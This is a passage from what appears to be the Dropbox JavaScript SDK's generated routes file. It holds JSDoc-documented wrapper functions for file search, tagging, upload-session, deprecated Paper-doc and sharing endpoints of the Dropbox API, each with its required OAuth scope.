Note that * the transfer from the URL must complete within 5 minutes, or the operation * will time out and the job will fail. If the given path already exists, the * file will be renamed to avoid the conflict (e.g. myfile (1).txt). * Route attributes: * scope: files.content.write * @function Dropbox#filesSaveUrl * @arg {FilesSaveUrlArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesSaveUrlResult>, DropboxResponseError.<FilesSaveUrlError>>} */ routes.filesSaveUrl = function (arg) { return this.request('files/save_url', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Check the status of a save_url job. * Route attributes: * scope: files.content.write * @function Dropbox#filesSaveUrlCheckJobStatus * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesSaveUrlJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesSaveUrlCheckJobStatus = function (arg) { return this.request('files/save_url/check_job_status', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Searches for files and folders. Note: Recent changes will be reflected in * search results within a few seconds and older revisions of existing files may * still match your query for up to a few days. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesSearch * @deprecated * @arg {FilesSearchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesSearchResult>, DropboxResponseError.<FilesSearchError>>} */ routes.filesSearch = function (arg) { return this.request('files/search', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Searches for files and folders. Note: search_v2 along with search/continue_v2 * can only be used to retrieve a maximum of 10,000 matches. Recent changes may * not immediately be reflected in search results due to a short delay in * indexing. Duplicate results may be returned across pages. Some results may * not be returned. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesSearchV2 * @arg {FilesSearchV2Arg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesSearchV2Result>, DropboxResponseError.<FilesSearchError>>} */ routes.filesSearchV2 = function (arg) { return this.request('files/search_v2', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Fetches the next page of search results returned from search_v2. Note: * search_v2 along with search/continue_v2 can only be used to retrieve a * maximum of 10,000 matches. Recent changes may not immediately be reflected in * search results due to a short delay in indexing. Duplicate results may be * returned across pages. Some results may not be returned. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesSearchContinueV2 * @arg {FilesSearchV2ContinueArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesSearchV2Result>, DropboxResponseError.<FilesSearchError>>} */ routes.filesSearchContinueV2 = function (arg) { return this.request('files/search/continue_v2', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Add a tag to an item. A tag is a string. The strings are automatically * converted to lowercase letters. No more than 20 tags can be added to a given * item. * Route attributes: * scope: files.metadata.write * @function Dropbox#filesTagsAdd * @arg {FilesAddTagArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilesAddTagError>>} */ routes.filesTagsAdd = function (arg) { return this.request('files/tags/add', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Get list of tags assigned to items. * Route attributes: * scope: files.metadata.read * @function Dropbox#filesTagsGet * @arg {FilesGetTagsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesGetTagsResult>, DropboxResponseError.<FilesBaseTagError>>} */ routes.filesTagsGet = function (arg) { return this.request('files/tags/get', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Remove a tag from an item. * Route attributes: * scope: files.metadata.write * @function Dropbox#filesTagsRemove * @arg {FilesRemoveTagArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilesRemoveTagError>>} */ routes.filesTagsRemove = function (arg) { return this.request('files/tags/remove', arg, 'user', 'api', 'rpc', 'files.metadata.write'); }; /** * Unlock the files at the given paths. A locked file can only be unlocked by * the lock holder or, if a business account, a team admin. A successful * response indicates that the file has been unlocked. Returns a list of the * unlocked file paths and their metadata after this operation. * Route attributes: * scope: files.content.write * @function Dropbox#filesUnlockFileBatch * @arg {FilesUnlockFileBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesLockFileBatchResult>, DropboxResponseError.<FilesLockFileError>>} */ routes.filesUnlockFileBatch = function (arg) { return this.request('files/unlock_file_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Create a new file with the contents provided in the request. Do not use this * to upload a file larger than 150 MB. Instead, create an upload session with * upload_session/start. Calls to this endpoint will count as data transport * calls for any Dropbox Business teams with a limit on the number of data * transport calls allowed per month. For more information, see the Data * transport limit page * https://www.dropbox.com/developers/reference/data-transport-limit. * Route attributes: * scope: files.content.write * @function Dropbox#filesUpload * @arg {FilesUploadArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFileMetadata>, DropboxResponseError.<FilesUploadError>>} */ routes.filesUpload = function (arg) { return this.request('files/upload', arg, 'user', 'content', 'upload', 'files.content.write'); }; /** * Append more data to an upload session. When the parameter close is set, this * call will close the session. A single request should not upload more than 150 * MB. The maximum size of a file one can upload to an upload session is 350 GB. * Calls to this endpoint will count as data transport calls for any Dropbox * Business teams with a limit on the number of data transport calls allowed per * month. For more information, see the Data transport limit page * https://www.dropbox.com/developers/reference/data-transport-limit. * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionAppendV2 * @arg {FilesUploadSessionAppendArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilesUploadSessionAppendError>>} */ routes.filesUploadSessionAppendV2 = function (arg) { return this.request('files/upload_session/append_v2', arg, 'user', 'content', 'upload', 'files.content.write'); }; /** * Append more data to an upload session. A single request should not upload * more than 150 MB. The maximum size of a file one can upload to an upload * session is 350 GB. Calls to this endpoint will count as data transport calls * for any Dropbox Business teams with a limit on the number of data transport * calls allowed per month. For more information, see the Data transport limit * page https://www.dropbox.com/developers/reference/data-transport-limit. * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionAppend * @deprecated * @arg {FilesUploadSessionCursor} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<FilesUploadSessionAppendError>>} */ routes.filesUploadSessionAppend = function (arg) { return this.request('files/upload_session/append', arg, 'user', 'content', 'upload', 'files.content.write'); }; /** * Finish an upload session and save the uploaded data to the given file path. A * single request should not upload more than 150 MB. The maximum size of a file * one can upload to an upload session is 350 GB. Calls to this endpoint will * count as data transport calls for any Dropbox Business teams with a limit on * the number of data transport calls allowed per month. For more information, * see the Data transport limit page * https://www.dropbox.com/developers/reference/data-transport-limit. * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionFinish * @arg {FilesUploadSessionFinishArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesFileMetadata>, DropboxResponseError.<FilesUploadSessionFinishError>>} */ routes.filesUploadSessionFinish = function (arg) { return this.request('files/upload_session/finish', arg, 'user', 'content', 'upload', 'files.content.write'); }; /** * This route helps you commit many files at once into a user's Dropbox. Use * upload_session/start and upload_session/append_v2 to upload file contents. We * recommend uploading many files in parallel to increase throughput. Once the * file contents have been uploaded, rather than calling upload_session/finish, * use this route to finish all your upload sessions in a single request. * UploadSessionStartArg.close or UploadSessionAppendArg.close needs to be true * for the last upload_session/start or upload_session/append_v2 call. The * maximum size of a file one can upload to an upload session is 350 GB. This * route will return a job_id immediately and do the async commit job in * background. Use upload_session/finish_batch/check to check the job status. * For the same account, this route should be executed serially. That means you * should not start the next job before current job finishes. We allow up to * 1000 entries in a single request. Calls to this endpoint will count as data * transport calls for any Dropbox Business teams with a limit on the number of * data transport calls allowed per month. For more information, see the Data * transport limit page * https://www.dropbox.com/developers/reference/data-transport-limit. * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionFinishBatch * @deprecated * @arg {FilesUploadSessionFinishBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesUploadSessionFinishBatchLaunch>, DropboxResponseError.<void>>} */ routes.filesUploadSessionFinishBatch = function (arg) { return this.request('files/upload_session/finish_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * This route helps you commit many files at once into a user's Dropbox. Use * upload_session/start and upload_session/append_v2 to upload file contents. We * recommend uploading many files in parallel to increase throughput. Once the * file contents have been uploaded, rather than calling upload_session/finish, * use this route to finish all your upload sessions in a single request. * UploadSessionStartArg.close or UploadSessionAppendArg.close needs to be true * for the last upload_session/start or upload_session/append_v2 call of each * upload session. The maximum size of a file one can upload to an upload * session is 350 GB. We allow up to 1000 entries in a single request. Calls to * this endpoint will count as data transport calls for any Dropbox Business * teams with a limit on the number of data transport calls allowed per month. * For more information, see the Data transport limit page * https://www.dropbox.com/developers/reference/data-transport-limit. * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionFinishBatchV2 * @arg {FilesUploadSessionFinishBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesUploadSessionFinishBatchResult>, DropboxResponseError.<void>>} */ routes.filesUploadSessionFinishBatchV2 = function (arg) { return this.request('files/upload_session/finish_batch_v2', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Returns the status of an asynchronous job for upload_session/finish_batch. If * success, it returns list of result for each entry. * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionFinishBatchCheck * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesUploadSessionFinishBatchJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.filesUploadSessionFinishBatchCheck = function (arg) { return this.request('files/upload_session/finish_batch/check', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Upload sessions allow you to upload a single file in one or more requests, * for example where the size of the file is greater than 150 MB. This call * starts a new upload session with the given data. You can then use * upload_session/append_v2 to add more data and upload_session/finish to save * all the data to a file in Dropbox. A single request should not upload more * than 150 MB. The maximum size of a file one can upload to an upload session * is 350 GB. An upload session can be used for a maximum of 7 days. Attempting * to use an UploadSessionStartResult.session_id with upload_session/append_v2 * or upload_session/finish more than 7 days after its creation will return a * UploadSessionLookupError.not_found. Calls to this endpoint will count as data * transport calls for any Dropbox Business teams with a limit on the number of * data transport calls allowed per month. For more information, see the Data * transport limit page * https://www.dropbox.com/developers/reference/data-transport-limit. By * default, upload sessions require you to send content of the file in * sequential order via consecutive upload_session/start, * upload_session/append_v2, upload_session/finish calls. For better * performance, you can instead optionally use a UploadSessionType.concurrent * upload session. To start a new concurrent session, set * UploadSessionStartArg.session_type to UploadSessionType.concurrent. After * that, you can send file data in concurrent upload_session/append_v2 requests. * Finally finish the session with upload_session/finish. There are couple of * constraints with concurrent sessions to make them work. You can not send data * with upload_session/start or upload_session/finish call, only with * upload_session/append_v2 call. Also data uploaded in upload_session/append_v2 * call must be multiple of 4194304 bytes (except for last * upload_session/append_v2 with UploadSessionStartArg.close to true, that may * contain any remaining data). * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionStart * @arg {FilesUploadSessionStartArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesUploadSessionStartResult>, DropboxResponseError.<FilesUploadSessionStartError>>} */ routes.filesUploadSessionStart = function (arg) { return this.request('files/upload_session/start', arg, 'user', 'content', 'upload', 'files.content.write'); }; /** * This route starts batch of upload_sessions. Please refer to * `upload_session/start` usage. * Route attributes: * scope: files.content.write * @function Dropbox#filesUploadSessionStartBatch * @arg {FilesUploadSessionStartBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<FilesUploadSessionStartBatchResult>, DropboxResponseError.<void>>} */ routes.filesUploadSessionStartBatch = function (arg) { return this.request('files/upload_session/start_batch', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Marks the given Paper doc as archived. This action can be performed or undone * by anyone with edit permissions to the doc. Note that this endpoint will * continue to work for content created by users on the older version of Paper. * To check which version of Paper a user is on, use /users/features/get_values. * If the paper_as_files feature is enabled, then the user is running the new * version of Paper. This endpoint will be retired in September 2020. Refer to * the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * more information. * Route attributes: * scope: files.content.write * @function Dropbox#paperDocsArchive * @deprecated * @arg {PaperRefPaperDoc} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsArchive = function (arg) { return this.request('paper/docs/archive', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Creates a new Paper doc with the provided content. Note that this endpoint * will continue to work for content created by users on the older version of * Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. This endpoint will be retired * in September 2020. Refer to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * more information. * Route attributes: * scope: files.content.write * @function Dropbox#paperDocsCreate * @deprecated * @arg {PaperPaperDocCreateArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperPaperDocCreateUpdateResult>, DropboxResponseError.<PaperPaperDocCreateError>>} */ routes.paperDocsCreate = function (arg) { return this.request('paper/docs/create', arg, 'user', 'api', 'upload', 'files.content.write'); }; /** * Exports and downloads Paper doc either as HTML or markdown. Note that this * endpoint will continue to work for content created by users on the older * version of Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. Refer to the Paper Migration * Guide https://www.dropbox.com/lp/developers/reference/paper-migration-guide * for migration information. * Route attributes: * scope: files.content.read * @function Dropbox#paperDocsDownload * @deprecated * @arg {PaperPaperDocExport} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperPaperDocExportResult>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsDownload = function (arg) { return this.request('paper/docs/download', arg, 'user', 'api', 'download', 'files.content.read'); }; /** * Lists the users who are explicitly invited to the Paper folder in which the * Paper doc is contained. For private folders all users (including owner) * shared on the folder are listed and for team folders all non-team users * shared on the folder are returned. Note that this endpoint will continue to * work for content created by users on the older version of Paper. To check * which version of Paper a user is on, use /users/features/get_values. If the * paper_as_files feature is enabled, then the user is running the new version * of Paper. Refer to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: sharing.read * @function Dropbox#paperDocsFolderUsersList * @deprecated * @arg {PaperListUsersOnFolderArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperListUsersOnFolderResponse>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsFolderUsersList = function (arg) { return this.request('paper/docs/folder_users/list', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Once a cursor has been retrieved from docs/folder_users/list, use this to * paginate through all users on the Paper folder. Note that this endpoint will * continue to work for content created by users on the older version of Paper. * To check which version of Paper a user is on, use /users/features/get_values. * If the paper_as_files feature is enabled, then the user is running the new * version of Paper. Refer to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: sharing.read * @function Dropbox#paperDocsFolderUsersListContinue * @deprecated * @arg {PaperListUsersOnFolderContinueArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperListUsersOnFolderResponse>, DropboxResponseError.<PaperListUsersCursorError>>} */ routes.paperDocsFolderUsersListContinue = function (arg) { return this.request('paper/docs/folder_users/list/continue', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Retrieves folder information for the given Paper doc. This includes: - * folder sharing policy; permissions for subfolders are set by the top-level * folder. - full 'filepath', i.e. the list of folders (both folderId and * folderName) from the root folder to the folder directly containing the * Paper doc. If the Paper doc is not in any folder (aka unfiled) the response * will be empty. Note that this endpoint will continue to work for content * created by users on the older version of Paper. To check which version of * Paper a user is on, use /users/features/get_values. If the paper_as_files * feature is enabled, then the user is running the new version of Paper. Refer * to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: sharing.read * @function Dropbox#paperDocsGetFolderInfo * @deprecated * @arg {PaperRefPaperDoc} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperFoldersContainingPaperDoc>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsGetFolderInfo = function (arg) { return this.request('paper/docs/get_folder_info', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Return the list of all Paper docs according to the argument specifications. * To iterate over through the full pagination, pass the cursor to * docs/list/continue. Note that this endpoint will continue to work for content * created by users on the older version of Paper. To check which version of * Paper a user is on, use /users/features/get_values. If the paper_as_files * feature is enabled, then the user is running the new version of Paper. Refer * to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: files.metadata.read * @function Dropbox#paperDocsList * @deprecated * @arg {PaperListPaperDocsArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperListPaperDocsResponse>, DropboxResponseError.<void>>} */ routes.paperDocsList = function (arg) { return this.request('paper/docs/list', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Once a cursor has been retrieved from docs/list, use this to paginate through * all Paper doc. Note that this endpoint will continue to work for content * created by users on the older version of Paper. To check which version of * Paper a user is on, use /users/features/get_values. If the paper_as_files * feature is enabled, then the user is running the new version of Paper. Refer * to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: files.metadata.read * @function Dropbox#paperDocsListContinue * @deprecated * @arg {PaperListPaperDocsContinueArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperListPaperDocsResponse>, DropboxResponseError.<PaperListDocsCursorError>>} */ routes.paperDocsListContinue = function (arg) { return this.request('paper/docs/list/continue', arg, 'user', 'api', 'rpc', 'files.metadata.read'); }; /** * Permanently deletes the given Paper doc. This operation is final as the doc * cannot be recovered. This action can be performed only by the doc owner. Note * that this endpoint will continue to work for content created by users on the * older version of Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. Refer to the Paper Migration * Guide https://www.dropbox.com/lp/developers/reference/paper-migration-guide * for migration information. * Route attributes: * scope: files.permanent_delete * @function Dropbox#paperDocsPermanentlyDelete * @deprecated * @arg {PaperRefPaperDoc} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsPermanentlyDelete = function (arg) { return this.request('paper/docs/permanently_delete', arg, 'user', 'api', 'rpc', 'files.permanent_delete'); }; /** * Gets the default sharing policy for the given Paper doc. Note that this * endpoint will continue to work for content created by users on the older * version of Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. Refer to the Paper Migration * Guide https://www.dropbox.com/lp/developers/reference/paper-migration-guide * for migration information. * Route attributes: * scope: sharing.read * @function Dropbox#paperDocsSharingPolicyGet * @deprecated * @arg {PaperRefPaperDoc} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperSharingPolicy>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsSharingPolicyGet = function (arg) { return this.request('paper/docs/sharing_policy/get', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Sets the default sharing policy for the given Paper doc. The default * 'team_sharing_policy' can be changed only by teams, omit this field for * personal accounts. The 'public_sharing_policy' policy can't be set to the * value 'disabled' because this setting can be changed only via the team admin * console. Note that this endpoint will continue to work for content created by * users on the older version of Paper. To check which version of Paper a user * is on, use /users/features/get_values. If the paper_as_files feature is * enabled, then the user is running the new version of Paper. Refer to the * Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: sharing.write * @function Dropbox#paperDocsSharingPolicySet * @deprecated * @arg {PaperPaperDocSharingPolicy} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsSharingPolicySet = function (arg) { return this.request('paper/docs/sharing_policy/set', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Updates an existing Paper doc with the provided content. Note that this * endpoint will continue to work for content created by users on the older * version of Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. This endpoint will be retired * in September 2020. Refer to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * more information. * Route attributes: * scope: files.content.write * @function Dropbox#paperDocsUpdate * @deprecated * @arg {PaperPaperDocUpdateArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperPaperDocCreateUpdateResult>, DropboxResponseError.<PaperPaperDocUpdateError>>} */ routes.paperDocsUpdate = function (arg) { return this.request('paper/docs/update', arg, 'user', 'api', 'upload', 'files.content.write'); }; /** * Allows an owner or editor to add users to a Paper doc or change their * permissions using their email address or Dropbox account ID. The doc owner's * permissions cannot be changed. Note that this endpoint will continue to work * for content created by users on the older version of Paper. To check which * version of Paper a user is on, use /users/features/get_values. If the * paper_as_files feature is enabled, then the user is running the new version * of Paper. Refer to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: sharing.write * @function Dropbox#paperDocsUsersAdd * @deprecated * @arg {PaperAddPaperDocUser} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<PaperAddPaperDocUserMemberResult>>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsUsersAdd = function (arg) { return this.request('paper/docs/users/add', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Lists all users who visited the Paper doc or users with explicit access. This * call excludes users who have been removed. The list is sorted by the date of * the visit or the share date. The list will include both users, the explicitly * shared ones as well as those who came in using the Paper url link. Note that * this endpoint will continue to work for content created by users on the older * version of Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. Refer to the Paper Migration * Guide https://www.dropbox.com/lp/developers/reference/paper-migration-guide * for migration information. * Route attributes: * scope: sharing.read * @function Dropbox#paperDocsUsersList * @deprecated * @arg {PaperListUsersOnPaperDocArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperListUsersOnPaperDocResponse>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsUsersList = function (arg) { return this.request('paper/docs/users/list', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Once a cursor has been retrieved from docs/users/list, use this to paginate * through all users on the Paper doc. Note that this endpoint will continue to * work for content created by users on the older version of Paper. To check * which version of Paper a user is on, use /users/features/get_values. If the * paper_as_files feature is enabled, then the user is running the new version * of Paper. Refer to the Paper Migration Guide * https://www.dropbox.com/lp/developers/reference/paper-migration-guide for * migration information. * Route attributes: * scope: sharing.read * @function Dropbox#paperDocsUsersListContinue * @deprecated * @arg {PaperListUsersOnPaperDocContinueArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperListUsersOnPaperDocResponse>, DropboxResponseError.<PaperListUsersCursorError>>} */ routes.paperDocsUsersListContinue = function (arg) { return this.request('paper/docs/users/list/continue', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Allows an owner or editor to remove users from a Paper doc using their email * address or Dropbox account ID. The doc owner cannot be removed. Note that * this endpoint will continue to work for content created by users on the older * version of Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. Refer to the Paper Migration * Guide https://www.dropbox.com/lp/developers/reference/paper-migration-guide * for migration information. * Route attributes: * scope: sharing.write * @function Dropbox#paperDocsUsersRemove * @deprecated * @arg {PaperRemovePaperDocUser} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<PaperDocLookupError>>} */ routes.paperDocsUsersRemove = function (arg) { return this.request('paper/docs/users/remove', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Create a new Paper folder with the provided info. Note that this endpoint * will continue to work for content created by users on the older version of * Paper. To check which version of Paper a user is on, use * /users/features/get_values. If the paper_as_files feature is enabled, then * the user is running the new version of Paper. Refer to the Paper Migration * Guide https://www.dropbox.com/lp/developers/reference/paper-migration-guide * for migration information. * Route attributes: * scope: files.content.write * @function Dropbox#paperFoldersCreate * @deprecated * @arg {PaperPaperFolderCreateArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<PaperPaperFolderCreateResult>, DropboxResponseError.<PaperPaperFolderCreateError>>} */ routes.paperFoldersCreate = function (arg) { return this.request('paper/folders/create', arg, 'user', 'api', 'rpc', 'files.content.write'); }; /** * Adds specified members to a file. * Route attributes: * scope: sharing.write * @function Dropbox#sharingAddFileMember * @arg {SharingAddFileMemberArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<SharingFileMemberActionResult>>, DropboxResponseError.<SharingAddFileMemberError>>} */ routes.sharingAddFileMember = function (arg) { return this.request('sharing/add_file_member', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Allows an owner or editor (if the ACL update policy allows) of a shared * folder to add another member. For the new member to get access to all the * functionality for this folder, you will need to call mount_folder on their * behalf. * Route attributes: * scope: sharing.write * @function Dropbox#sharingAddFolderMember * @arg {SharingAddFolderMemberArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<void>, DropboxResponseError.<SharingAddFolderMemberError>>} */ routes.sharingAddFolderMember = function (arg) { return this.request('sharing/add_folder_member', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Returns the status of an asynchronous job. * Route attributes: * scope: sharing.write * @function Dropbox#sharingCheckJobStatus * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.sharingCheckJobStatus = function (arg) { return this.request('sharing/check_job_status', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Returns the status of an asynchronous job for sharing a folder. * Route attributes: * scope: sharing.write * @function Dropbox#sharingCheckRemoveMemberJobStatus * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingRemoveMemberJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.sharingCheckRemoveMemberJobStatus = function (arg) { return this.request('sharing/check_remove_member_job_status', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Returns the status of an asynchronous job for sharing a folder. * Route attributes: * scope: sharing.write * @function Dropbox#sharingCheckShareJobStatus * @arg {AsyncPollArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingShareFolderJobStatus>, DropboxResponseError.<AsyncPollError>>} */ routes.sharingCheckShareJobStatus = function (arg) { return this.request('sharing/check_share_job_status', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Create a shared link. If a shared link already exists for the given path, * that link is returned. Previously, it was technically possible to break a * shared link by moving or renaming the corresponding file or folder. In the * future, this will no longer be the case, so your app shouldn't rely on this * behavior. Instead, if your app needs to revoke a shared link, use * revoke_shared_link. * Route attributes: * scope: sharing.write * @function Dropbox#sharingCreateSharedLink * @deprecated * @arg {SharingCreateSharedLinkArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingPathLinkMetadata>, DropboxResponseError.<SharingCreateSharedLinkError>>} */ routes.sharingCreateSharedLink = function (arg) { return this.request('sharing/create_shared_link', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Create a shared link with custom settings. If no settings are given then the * default visibility is RequestedVisibility.public (The resolved visibility, * though, may depend on other aspects such as team and shared folder settings). * Route attributes: * scope: sharing.write * @function Dropbox#sharingCreateSharedLinkWithSettings * @arg {SharingCreateSharedLinkWithSettingsArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<(SharingFileLinkMetadata|SharingFolderLinkMetadata|SharingSharedLinkMetadata)>, DropboxResponseError.<SharingCreateSharedLinkWithSettingsError>>} */ routes.sharingCreateSharedLinkWithSettings = function (arg) { return this.request('sharing/create_shared_link_with_settings', arg, 'user', 'api', 'rpc', 'sharing.write'); }; /** * Returns shared file metadata. * Route attributes: * scope: sharing.read * @function Dropbox#sharingGetFileMetadata * @arg {SharingGetFileMetadataArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFileMetadata>, DropboxResponseError.<SharingGetFileMetadataError>>} */ routes.sharingGetFileMetadata = function (arg) { return this.request('sharing/get_file_metadata', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Returns shared file metadata. * Route attributes: * scope: sharing.read * @function Dropbox#sharingGetFileMetadataBatch * @arg {SharingGetFileMetadataBatchArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<Array.<SharingGetFileMetadataBatchResult>>, DropboxResponseError.<SharingSharingUserError>>} */ routes.sharingGetFileMetadataBatch = function (arg) { return this.request('sharing/get_file_metadata/batch', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Returns shared folder metadata by its folder ID. * Route attributes: * scope: sharing.read * @function Dropbox#sharingGetFolderMetadata * @arg {SharingGetMetadataArgs} arg - The request parameters. * @returns {Promise.<DropboxResponse<SharingSharedFolderMetadata>, DropboxResponseError.<SharingSharedFolderAccessError>>} */ routes.sharingGetFolderMetadata = function (arg) { return this.request('sharing/get_folder_metadata', arg, 'user', 'api', 'rpc', 'sharing.read'); }; /** * Download the shared link's file from a user's Dropbox. * Route attributes: * scope: sharing.read * @function Dropbox#sharingGetSharedLinkFile * @arg {Object} arg - The request parameters. * @returns {Promise.<DropboxResponse<(SharingFileLinkMetadata|SharingFolderLinkMetadata|SharingSharedLinkMetadata)>, DropboxResponseError.<SharingGetSharedLinkFileError>>} */ routes.sharingGetSharedLinkFile = function (arg) { return this.request('sharing/get_shared_link_file', arg, 'user', 'content', 'download', 'sharing.read'); }; /** * Get the shared link's metadata. * Route attributes: * scope: sharing.read * @function Dropbox#sharingGetSharedLinkMetadata * @arg {SharingGetSharedLinkMetadataArg} arg - The request parameters. * @returns {Promise.<DropboxResponse<(SharingFileLinkMetadata|SharingFolderLinkMetadata|SharingSharedLinkMetadata)>, DropboxResponseError.<SharingSharedLinkError>>} */ routes.sharingGetSharedLinkMetadata = function (arg) { return 